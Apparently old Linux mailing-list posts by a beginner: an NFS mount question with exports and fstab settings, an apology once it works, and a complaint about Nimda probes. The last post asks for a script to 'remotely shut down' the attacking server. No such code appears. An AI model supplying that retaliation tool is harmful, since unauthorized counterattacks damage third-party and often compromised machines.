[newbie] why permission denied ? just mount please!
I don't understand why when I try to do a nfs mount, I get permission denied! That does not compute. I opened the permissions on the directorys to be exported and the one to mount in the client, thats all I should have to do isn't it? What am I missing? I have /etc/exports to say /mnt/nfs0 192.168.1.3(rw,no_root_squash)192.168.1.2(rw,no_root_squash) I used the setup tool to mount the client which is machine 192.168.1.3 onto the server which is 192.168.1.2 In the /etc/fstab file I have: 192.168.1.2:/mnt/mew /mnt/nfs0 nfs rsize=8192,wsize=8192,nosuid,soft 0 0 It is not split in half, stupid yahoo won't print it out on one line.

[newbie] My sincere apology
I apologise for all of the nfs noise on the list, I did not wish to waste bandwidth, not sure what I did wrong, I think I got it to work, by re-loading the netfs daemon on the server, must have been something to do with the newer version with 9.1 on the workstation and the older ver. on the server which is mdk 8.2 Nfs is so hard, I am sorry.

How do you block Nimda attacks from your logs? Really, now, there must be a way, I have tried script after script, I am still getting attacked by this IP: 65.192.141.115 Who are these criminals? They have no right attacking me like this! I can't whois them or traceroute, or samspade them, it is not fair. I guess you just can't run a web server anymore. Is there one good reason why I should not give up? I don't understand honeyport, it is too hard. Isnt there something easier, a script I can just download and install? Surely, by now, someone has invented a more effective method, surely, I mean, are all the world's webmasters just going to sit down, and take it in the back? Is there a kind soul out there who would like to offer a script to this list that would retaliate by remotely shutting down the attacking server? This has got to stop, I have sat by for too long, and I don't intend to take this attacking any longer. I wish to thank all those who offered me the web pages of honeyport, thank you so much, but I'm looking for something that is more assertive, something that will *do* something, not just e mail the admin only to be ignored, I'm not playing Mr. Nice any more. I'm going to aggressively fight back, if there is a script that I can put in my /bin directory that will scan my /var/tmp/blocked file and instead of just ipchain-ing them out, (INEFFECTIVE!) it will shut them down, it is the only way.
